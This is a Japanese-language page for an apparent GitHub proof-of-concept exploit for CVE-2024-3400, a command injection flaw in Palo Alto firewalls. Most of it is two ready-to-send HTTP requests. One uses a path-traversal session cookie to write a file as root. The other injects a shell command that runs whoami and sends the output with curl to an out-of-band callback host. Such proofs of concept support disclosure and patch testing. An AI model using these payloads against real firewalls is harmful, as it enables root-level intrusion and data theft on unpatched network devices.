ghassansabir/cve-2024-3400-pocCVE-2024-3400の概念実証エクスプロイト。Palo Altoファイアウォールにおけるコマンドインジェクションの脆弱性で、細工したHTTPリクエストによるファイル作成とリモートコマンド実行を実証します。
CVE-2024-3400 は、Palo Alto ファイアウォールシステムに存在するコマンドインジェクションの脆弱性です。攻撃者は巧妙に細工した HTTP リクエストを送信することで、対象サーバー上で悪意のあるコマンドを実行し、root 権限を取得することも可能です。
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
このリクエストを送信すると、サーバー上に hellome1337.txt という名前のファイルが作成され、そのファイルは root 権限を持つことになります。
スクリーンショットは、この脆弱性の悪用プロセスにおける効果を示しています：
この脆弱性を利用してコマンドインジェクションを実行するには、以下のような HTTP リクエストを送信します：
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
このリクエストは、サーバー上で whoami コマンドを実行し、その結果を指定したリモートサーバー（例：xxxxxxxxxxxxxxxxx.oast.fun）に送信します。